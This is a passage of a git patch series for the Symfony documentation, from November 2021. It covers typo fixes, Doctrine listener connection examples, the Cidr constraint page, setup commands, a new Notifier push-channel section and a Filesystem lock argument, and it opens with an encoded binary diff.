zdM|Tp0au!XH?b`*O`UyVdU@GgC2GpP%TsO#GCw9ZZlV=bHr#PQY%Og=(r9*dwlh<6
zgL-vuf}XlsE;52xzuY7UJ=;|8Gs^B_;#3Ur$hzbu;mIrcE*Wa4HyNYkEJP>m1}Uoy
zp%WX-O~xZ#qlr7qD;G-?PtO@p;dl+=q2)A2KMdR`G_?a%flt3Y{)HFSQBQ4q@1Cs~
z!ox#fjOJ1Jm%<YatfJ%odq4{=BR77f_R4WM9;-y7FgqT-<gta6RT!j)W-?-F0Hx3=
zJ<p%j%4u$#ZOn97D$qbLczjpj7w0a?D1owNqg0Xjpwj%3Xb$*5xqHR%>JBqJnidr^
z%hnM(v8)U!kmc#CKKVK#dxQXAadXRt0>#oRUVUf%U2z2k1<wKNL3TN8(wP$OB<+O}
z3HxxZ)+|PvkDU7>49{DFRQf)3X04VPf7sbuP2+U&zar<AeyZd^O&(WL(RRUmTQ)y>
zb-6n#9KQkn<d%3>8`#_Zc+7dbN}9I0vAOunT=72K+4P2CbL5hWI3tmaadU?}SrW4e
zow250AHfj4Fi}yYTNQ7Beuh4IjFn;sS8O@Mqqr0Zv0Xvh2d*&7pUhLPMgZfKS2bgc
z);Kvw_-M7C$D6J&(N-RDzVP_6V9e|F%mC>Hg*8Vb^b~A*`0IV9Te=`0L_sI;S(&_x
zuTY5wy?F*j_4)mlo82<~%bUX~i==nke_cz`0G0`gRgPuSt9*8_h0m&E`sy3lkFdC>
zqQ%>DYwBAIqnmE5DJ2==Qzd(ZSRmfb*=&)sJ-(#}LPc`9OiGp;TcBsDI2_?y!UUAF
zV%ZRz=iU95B4Lq7x25rOg9P#b_0LCuj25o00#Vj*xqGWqVq(b$bsgSv?l|Ke%n7Hd
zYe1ii=q5|!DnvGL7H2M+{s`n6_3;}@Wmk46Rej4z(`~Y2{$M@CSLeIq82!~92Dr@W
za<+KxWG6d8kw$@6P(2|+GpQW)_^q!Y{KGKoDh_S2QVWG_WXD?NWzN0h)7`47s(|g|
z!@>K(&llr0n;OuGpRv`Ks(UdkKjp5&nSBazb7gfJpMI5&i|3J_<7)U(?&qtkM|T!h
zDSSTEaWz*Y#CEku_vq-{>>EhQow*Q}M{gD56g`<LKOcPYpt-z8TP>zDI?N}Xs^=gA
zvUC>|&+>S0Ikx{>Ih)f*?TMV!7uYQniprP)Gu?ANL*+SwK+|v}FgDKi<nBr?Y|W48
z28jaNwmSsz)X=~nuwBKyAt1KAOvF1&((gG5J*=^~X_qMtoeaJ=j})r3hi-8t<S{5v
z_a@}Q=w&(!P0avRG2_vl4q=@pHyqP5cU2P`y^gp(-%)1Ur4nJKeF0-kODreDGazv5
zrUS2v&P{b6)j(xH#_r682%84##HqS|pZ0q>{RZpy`}nHwXGGLzhPiC4Wba_Mpd~W8
z&04%t7<&$qXPN3pC$VEHd5vS-6CUNTHT12-$hw8iHD8dyQlM{}C_%x12Ae?MXMHoj
z6KpHgwXp9=b(Y_t)ZJDzQ-ObaNQsx>b#;C~NO5Pe7SN|EV#TpEHMOTsvKT?yLL=FH
z9#~@jur|W<vu+WaN0U8{en(Mb*Vh^S569WAvBS<zI~!r_UAgR@k+Jds$>NJhqDlPu
z#Ob{W<wLo|c6M&-d}jhEM8A5gNdl!C2CLXnVhHn07wu}ETJO=fq>j@Z1S%Zjn&i4G
zYt;9hw^S6k!!0JuZzHSEX7qL9A2l9(nlYG4+@$46*FXl%eUB;2__fh`W?Q~xo^Ue5
z<PhoW(sgQfG(%6F&WgVa>PSmr`SMD2%jkG|dKBUW;kIek^Wb5qe-oL{S+Hww{v<7{
zoKc==JSdVF$w5Woi{AmWTCt@mrjt>4QCMhd=qMUE-Qz&8WG!G)Cm(ZEgNle@*g?NE
z9p^|x7BV`=$Xn5yrIi+7UZ)i^Q#LzYes&EaYn_o066b^Lacs;mHPZ|3X;%d`={2Ri
zt3gfBhphGCkpogwBP;YDVd&lupg@vkpNB^^BPysoa$v!?{8ATg)tGME_?LEEOoqzo
z&N}Mm!4?93`FRC~59!Z&EK`wMm+TMSGV^7<tZRt0i<NW7mNJ}h9Ukah@%8bzMxR0u
z+AM&{5^c)1QpiIb#K)<2=>X+hXUs~od1_b!W|O6Q>C_VLI?zRxrwWbzmJREoRSa?H
zS)+WuitC`Zv!O$!)0Y(Hm9F@L@BXcgP_Cq$%p|w(Ms)=7`2ga9xa~tnfeeQB%?zg}
z<g@%>;u*x3%9Zhiq7pcWZ$S?{47@3;%^UBf@K#S8x*bhC91k4sIbu#9B&2k6bGu>Z
zO(~^wt1}E)N?B9_HaqZ%Jy01Df9P$9Pn<4Jg6eLYtzja0%`sLX5=;Pf{D~CzOy?tc
zi}Ok0B(mlGJiwBnU`d)gN~uu5N8YeW&yvbOx6N_$m?(`B)F@1@dKVg1k-{?zN>Tsb
z{RsgVVeJf-3lMPH&V~gOj4P~|+Q1(CP~|uZ*Qzgh;`J)?R5aCXvD*;C5=HB#m=-!w
zG9FoKB03I(!u<U@66(J}`fjvWZ+A(WHqoZ#{vh^0pRvpA-vlx~??&E@#aRMnBm`6M
zos&wDJPw;n{QTC`TZw!!+a@v0JV|vfSUF#bClqev>qF|Yg7<Y}qYyf8l5}{3YG0Nh
zu;S^8;Md9h-46>~`IR1&z97}rPnhdie#+^#7eYmp63y4_h=f&qNoI&eY4Rj=s>9TD
z9#J5Ayo50aVE4*Qc&s{MZ-&r&`oK@NT$hRTZ@|@$+qWHzcuUb_T}Y#qnDJ53r6=@K
zJ{O^IUwV8JyG7&Q2e*j(_96jz^}jHg;{qM@&vsH=uCIQ0eDxx<+uOa<Oe3{pkgeb}
zV#DKpfIZdrKlJxf&K>X5*>}e0yWTi~K(&e1(qCIMQHbTpT@VdkNZ^LgJx?jz+s6N~
zh9P6AcYRs2&q5`#V=ZtDOX1tDVT#&U5Q?&<4%t}Mvm=Vsf-;nf3YIw+2+d*6m+z%g
z|8l)cSx+_Fvmp`%KO>Ls?hWs0^p>7TUwdCpP&Vv(DUs{x?5T|3xHEcNd{NQ}x9B?O
zRp<x_o*_!lYIRJRSYpGzeQNoJ-@7U4aLVg^XXD3W-)hW^iRjw0BZ6yQL;?!P-#>cD
z329p)CX~--%oJVdO-yic*QU$J+#q+P(|@uvVAtH_rz?>ZyDHe!LwL0iJ>dArceSit
zm+|47lma!~i`tiBr3v==l{#-hNa^cZBXXE6TK8lHRlGG7PQELqjkHkou6&-Gj1w+6
zD>WkrI=(x?52mLsp8DOq8Am^In<Ai`F;K+G^zuo%OV!6aTIcYcR>PwQ&+e&!fb6m=
zTOb1LP4_{xqXYHE;p#A7{idAd@C{oPz=KygbcvB7df6<F4+0hVS8aa!zf#7dOsgan
z$TPe*WFivPZ?|EzGfLZ&gYCh7^1P)K&Yf9J?)MH#Xud^Pon4B@U`v$)gkC7UhQ8Ca
z!i~Ily=dxk%H@XdS1A5GWHS_;NrSF4nSAk)hu?b4QgJr!>`cw6axZSk@O`xU&*<q2
z9V|IeN7r+j3mWu6(91KuAKyn^a4K6x#d(Xb+(0E4j{S&s+^jvaAOyd6D5}m+ThNS<
z`G%!BacXA6S+r*5dE*1g6<+}_d*jaY-EH0!Wo65t`SnM1B-KoQof~$K_VO1iUyxZy
z<!>ViW=E>AM|fW7wme_AO(BeZu-Q}fPGK~-&YK&if-uTaUf<JIDL_%oI%b<16(e{j
zMfKR?ZxX&umM}B^X)t3MMl`WJSckx{Y94Hz5KwMm%!TVur#h{6sGx+FqGA~8>!Y1s
z^q`T<8W{$6({aVd&I!#YOE@%McaB8MaJ2O66(oBzBP*UosH^B~`ifvp{irOX9jn!G
zI2v*;{fl`F_2k`$m_^-3k2&NG>RSPVzJ1h^NEawX$T5j<@il#zv=H3YU%*i3)Ne>+
z*py?NMy#{(9mkd3mDF;rm*j=85<mu=GDw7~@O3hV(SfWR%U`xIx2GbYQ(*wyr+(8l
z>ltjCFMq?GgP)cyo}dbLb2i}66LUBmZu6w|bcW-0z2T6MnDo2J0#aG$@<EqX5g;i`
zZ5WPh79*38DtZ}|bZ%kXa`U+iZPNJ8V=SriG<$e&CfQQR$<Utrzj}L*pWpsSFAzw&
zm_zX`QDt1V3sH6vkv*x~@`LgF=ifj{0WcNCk~C!@<Wy=)D<)n2m$#fjm(PED6Jiq5
zKwnhe8vGZDBfSlrs0*%NPQU*L)VrX@(zt6A{o%+zXk2h8z<oEXOl)1{A4V8-tq|B$
z{}`QA!v_4D$bHOWm4Qmy^9}#_69qn|a`}tx80ANePK@1`<orkBFWyNG1!+aiH9dnS
zG;M<V52*hEdgk#|fuSa5W&sz+n}X+G)ZLY4Q7BZ?vC!qeZ3qE16Ud=y@r|ul+O^1B
zfwjemKRN3FYo*wU={+^@MJ?_LPtK{!CdSm!{`AQ|tHEJ&F`#Tfitsz+whx=atfKqf
zh~PRlT7UD*|1d~apyGr-V##7+q6@@~zcposd4@(d(3GnGX-V^Tkj!LLH*BvP@%9&C
Xmi&>mce6+#0DCDtQCBFJGk^Jin!3@6

diff --git a/docs.json b/docs.json
deleted file mode 100644
index 70c1a299f0e..00000000000
--- a/docs.json
+++ /dev/null
@@ -1,3 +0,0 @@
-{
-    "exclude": ["_build"]
-}

From 1b548185685bdd8a5298e7dfa7344795a9a87717 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Nov 2021 16:05:07 +0100
Subject: [PATCH 1320/5766] Fix a minor typo

---
 components/console/helpers/cursor.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index da450925fc3..2485498fcab 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -53,7 +53,7 @@ Using the cursor
 Moving the cursor
 .................
 
-There are fews methods to control moving the command cursor::
+There are few methods to control moving the command cursor::
 
     // moves the cursor 1 line up from its current position
     $cursor->moveUp();

From 05437d3657016f9af32b8c39c7552aa8fec47f02 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Nov 2021 17:13:50 +0100
Subject: [PATCH 1321/5766] Reword

---
 doctrine/events.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 282b91e47ad..4e5581c14de 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -171,8 +171,7 @@ with the ``doctrine.event_listener`` tag:
                         priority: 500
 
                         # you can also restrict listeners to a specific Doctrine connection
-                        # '%doctrine_default_connection%' = 'default'
-                        connection: '%doctrine_default_connection%'
+                        connection: 'default'
 
     .. code-block:: xml
 
@@ -188,13 +187,12 @@ with the ``doctrine.event_listener`` tag:
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
-                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\SearchIndexer">
                     <tag name="doctrine.event_listener"
                         event="postPersist"
                         priority="500"
-                        connection="%doctrine_default_connection%"/>
+                        connection="default"/>
                 </service>
             </services>
         </container>
@@ -220,8 +218,7 @@ with the ``doctrine.event_listener`` tag:
                     'priority' => 500,
 
                     # you can also restrict listeners to a specific Doctrine connection
-                    # '%doctrine_default_connection%' = 'default'
-                    'connection' => '%doctrine_default_connection%',
+                    'connection' => 'default',
                 ])
             ;
         };
@@ -232,6 +229,16 @@ with the ``doctrine.event_listener`` tag:
     Doctrine event is actually fired; whereas Doctrine subscribers are always
     loaded (and instantiated) by Symfony, making them less performant.
 
+.. tip::
+
+    The value of the ``connection`` option can also be a
+    :ref:`configuration parameter <configuration-parameters>`.
+
+    .. versionadded:: 5.4
+
+        The feature to allow using configuration parameters in ``connection``
+        was introduced in Symfony 5.4.
+
 Doctrine Entity Listeners
 -------------------------
 
@@ -442,8 +449,7 @@ Doctrine connection to use) you must do that in the manual service configuration
                       priority: 500
 
                       # you can also restrict listeners to a specific Doctrine connection
-                      # '%doctrine_default_connection%' = 'default'
-                      connection: '%doctrine_default_connection%'
+                      connection: 'default'
 
     .. code-block:: xml
 
@@ -458,10 +464,9 @@ Doctrine connection to use) you must do that in the manual service configuration
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
-                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="%doctrine_default_connection%"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
                 </service>
             </services>
         </container>
@@ -483,8 +488,7 @@ Doctrine connection to use) you must do that in the manual service configuration
                     'priority' => 500,
 
                     // you can also restrict listeners to a specific Doctrine connection
-                    # '%doctrine_default_connection%' = 'default'
-                    'connection' => '%doctrine_default_connection%',
+                    'connection' => 'default',
                 ])
             ;
         };
@@ -493,10 +497,6 @@ Doctrine connection to use) you must do that in the manual service configuration
 
     Subscriber priority was introduced in Symfony 5.3.
 
-.. versionadded:: 5.4
-
-    Parameter as connection value was introduced in Symfony 5.4.
-
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the

From dea59657423d709f51a2c2212ffcd9eca0f9fe75 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Nov 2021 17:14:17 +0100
Subject: [PATCH 1322/5766] Remove the versionadded directive

---
 doctrine/events.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 5c7401c53f6..dc3df4b6e20 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -234,11 +234,6 @@ with the ``doctrine.event_listener`` tag:
     The value of the ``connection`` option can also be a
     :ref:`configuration parameter <configuration-parameters>`.
 
-    .. versionadded:: 5.4
-
-        The feature to allow using configuration parameters in ``connection``
-        was introduced in Symfony 5.4.
-
 Doctrine Entity Listeners
 -------------------------
 

From f32ee434c78f0210b1630aecf31b2c89a80f0074 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 6 Nov 2021 16:30:26 +0100
Subject: [PATCH 1323/5766] Minor tweaks

---
 reference/constraints/Cidr.rst    | 20 ++++++++++----------
 reference/constraints/map.rst.inc |  1 +
 2 files changed, 11 insertions(+), 10 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 8f415162437..658a9910b7c 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -1,18 +1,17 @@
 Cidr
-==
+====
 
-Validates that a value is a valid CIDR notation. By default, this will validate
-the CIDR's IP and netmask both for version 4 and version 6, with the option of allowing
-only one type of IP version to be valid. It also supports a minimum and maximum range
-constraint in which the value of the netmask is valid.
+.. versionadded:: 5.4
+
+    The ``Cidr`` constraint was introduced in Symfony 5.4.
+
+Validates that a value is a valid `CIDR`_ (Classless Inter-Domain Routing) notation.
+By default, this will validate the CIDR's IP and netmask both for version 4 and 6,
+with the option of allowing only one type of IP version to be valid. It also supports
+a minimum and maximum range constraint in which the value of the netmask is valid.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `netmaskRangeViolationMessage`_
-            - `payload`_
-            - `version`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cidr`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CidrValidator`
 ==========  ===================================================================
@@ -153,3 +152,4 @@ of a variety of different values:
 ``all``
     Validates all CIDR formats
 
+.. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index d6b974cefb3..9f8eb4b8c3f 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -22,6 +22,7 @@ String Constraints
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
+* :doc:`Cidr </reference/constraints/Cidr>`
 * :doc:`Json </reference/constraints/Json>`
 * :doc:`Uuid </reference/constraints/Uuid>`
 * :doc:`Ulid </reference/constraints/Ulid>`

From 1fb1f9919b36cc1b78ff9ebea6378e313b905147 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 6 Nov 2021 16:42:26 +0100
Subject: [PATCH 1324/5766] Remove the versionadded directive

---
 reference/constraints/Cidr.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 658a9910b7c..3bc3dcf3dec 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -1,10 +1,6 @@
 Cidr
 ====
 
-.. versionadded:: 5.4
-
-    The ``Cidr`` constraint was introduced in Symfony 5.4.
-
 Validates that a value is a valid `CIDR`_ (Classless Inter-Domain Routing) notation.
 By default, this will validate the CIDR's IP and netmask both for version 4 and 6,
 with the option of allowing only one type of IP version to be valid. It also supports

From d92e0f8c566ee62840caf12b0a6eb5cbe61b5941 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sun, 7 Nov 2021 10:01:01 +0330
Subject: [PATCH 1325/5766] Update setup.rst for V5.4

Creating the correct command and fixing the installation problem of version 5.4
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index d766fbfc5dd..122294b2e49 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --version="5.4.x@dev" --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name --version="5.4.x@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 3fc3c5f39a586e04caf46fbb31fb691783a55db1 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 7 Nov 2021 15:55:23 +0100
Subject: [PATCH 1326/5766] Add Push Channel with Integration Expo & OneSignal

---
 notifier.rst | 74 ++++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 72 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 8a56a0dc6ed..9a8d306ddca 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -21,8 +21,8 @@ Get the Notifier installed using:
 
     $ composer require symfony/notifier
 
-Channels: Chatters, Texters, Email and Browser
-----------------------------------------------
+Channels: Chatters, Texters, Email, Browser and Push
+----------------------------------------------------
 
 The notifier component can send notifications to different channels. Each
 channel can integrate with different providers (e.g. Slack or Twilio SMS)
@@ -36,6 +36,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
+* Push Channel sends notifications to phones via push notifications.
 
 .. tip::
 
@@ -317,6 +318,75 @@ notification emails:
             ;
         };
 
+Push Channel
+~~~~~~~~~~~~
+
+The push channel is used to send notifications to users by using
+:class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
+integration with these push services:
+
+==============  ====================================  =================================================================================
+Service         Package                               DSN
+==============  ====================================  =================================================================================
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Expo            ``symfony/expo-notifier``              ``expo://Token@default``
+OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
+==============  ====================================  =================================================================================
+
+.. versionadded:: 5.4
+
+    The Expo and OneSignal integrations were introduced in Symfony 5.4.
+
+To enable a texter, add the correct DSN in your ``.env`` file and
+configure the ``texter_transports``:
+
+.. code-block:: bash
+
+    # .env
+    EXPO_DSN=expo://TOKEN@default
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                texter_transports:
+                    expo: '%env(EXPO_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:texter-transport name="expo">
+                        %env(EXPO_DSN)%
+                    </framework:texter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('expo', '%env(EXPO_DSN)%')
+            ;
+        };
+
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3976f357240458a9ebc59de44c0ccfd0cfa7dfa1 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sun, 7 Nov 2021 10:04:56 +0330
Subject: [PATCH 1327/5766] Update setup.rst for V6.0

Creating the correct command and fixing the installation problem of version 6.0
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5d1ac071551..f6e35a764f5 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version="5.4.x@dev" --full
+    $ symfony new my_project_name --version="6.0.x@dev" --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version="5.4.x@dev"
+    $ symfony new my_project_name --version="6.0.x@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 63eb9889bea62e624aa6391dd64100bb60afa820 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 13:27:58 +0100
Subject: [PATCH 1328/5766] Re-add a refernece to keep previous links

---
 notifier.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 9a8d306ddca..c0aa0ac125f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -21,6 +21,8 @@ Get the Notifier installed using:
 
     $ composer require symfony/notifier
 
+.. _channels-chatters-texters-email-and-browser:
+
 Channels: Chatters, Texters, Email, Browser and Push
 ----------------------------------------------------
 

From d8a01786e2992fb7fd231f8fb19e40eb040c6e37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 13:28:40 +0100
Subject: [PATCH 1329/5766] Remove a versionadded directive

---
 notifier.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7af92f7f797..1b301c6fc35 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -294,10 +294,6 @@ Expo            ``symfony/expo-notifier``              ``expo://Token@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
 ==============  ====================================  =================================================================================
 
-.. versionadded:: 5.4
-
-    The Expo and OneSignal integrations were introduced in Symfony 5.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From f9f61db5637caa1b9eb145171b6dc96403c64f30 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Mon, 8 Nov 2021 15:44:14 +0100
Subject: [PATCH 1330/5766] Update testing.rst

---
 testing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing.rst b/testing.rst
index 2f058ad8a5a..ca8cde0825f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -899,10 +899,16 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
+``assertResponseIsUnprocessable(string $message = '')`` 
+    Asserts the response is unprocessable (HTTP status is 422)
 
 .. versionadded:: 5.3
 
     The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
+    
+.. versionadded:: 5.4
+
+    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.   
 
 Request Assertions
 ..................

From 263bdd7f821a1208c70f1b64a48c0957516595f0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 16:19:02 +0100
Subject: [PATCH 1331/5766] [Notifier] Minor tweak

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c0aa0ac125f..e3e96f847c3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -38,7 +38,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* Push Channel sends notifications to phones via push notifications.
+* Push Channel sends notifications to phones and browsers via push notifications.
 
 .. tip::
 

From 78e6f65a7910ece4d9490f55212ba5004df2eb3e Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Mon, 8 Nov 2021 15:24:00 +0100
Subject: [PATCH 1332/5766] Update filesystem.rst

---
 components/filesystem.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 447c95f7ff5..2a1843ead2a 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -311,10 +311,16 @@ The ``file.txt`` file contains ``Hello World`` now.
 contents at the end of some file::
 
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com');
+    // with the third argument set to true you can lock the file when writing to it.
+    $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com', true);
 
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
+.. versionadded:: 5.4
+
+    The third argument ``$lock`` was introduced in Symfony 5.4.
+
 Error Handling
 --------------
 

From 7dd29957a7413194f318cbcf92ecf55ea033d40c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 16:44:41 +0100
Subject: [PATCH 1333/5766] Minor tweaks

---
 components/filesystem.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 2a1843ead2a..821a5f801fd 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -311,7 +311,7 @@ The ``file.txt`` file contains ``Hello World`` now.
 contents at the end of some file::
 
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com');
-    // with the third argument set to true you can lock the file when writing to it.
+    // the third argument tells whether the file should be locked when writing to it
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com', true);
 
 If either the file or its containing directory doesn't exist, this method
@@ -319,7 +319,7 @@ creates them before appending the contents.
 
 .. versionadded:: 5.4
 
-    The third argument ``$lock`` was introduced in Symfony 5.4.
+    The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
 
 Error Handling
 --------------

From ab5b1c236d84a94f80902c1633d856a9712d22a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 16:47:00 +0100
Subject: [PATCH 1334/5766] Remove a versionadded directive

---
 components/filesystem.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index aed1976b3b8..d26ff7e83d9 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -313,10 +313,6 @@ contents at the end of some file::
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
-.. versionadded:: 5.4
-
-    The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
-
 Error Handling
 --------------
 

From 2e4647d18fd569fb1591cec1d51d780fb1b75c69 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Mon, 8 Nov 2021 19:25:22 +0100
Subject: [PATCH 1335/5766] [FrameworkBundle] Document secret rename logic

---
 configuration/secrets.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 79d0071fde3..c1a342e9b72 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -98,6 +98,10 @@ in ``config/secrets/prod``. You can also set the secret in a few other ways:
     # or let Symfony generate a random value for you
     $ php bin/console secrets:set REMEMBER_ME --random
 
+.. note::
+
+    If you need to rename a secret, you must create the new one and remove the old one.
+
 Referencing Secrets in Configuration Files
 ------------------------------------------
 

From 4b6e7d26280a12d893438b68710f21d6b73137b0 Mon Sep 17 00:00:00 2001
From: Samuel NELA <hello@samnela.com>
Date: Mon, 8 Nov 2021 20:10:50 +0100
Subject: [PATCH 1336/5766] Fix method for the user password hasher service

---
 security/passwords.rst | 4 ++--
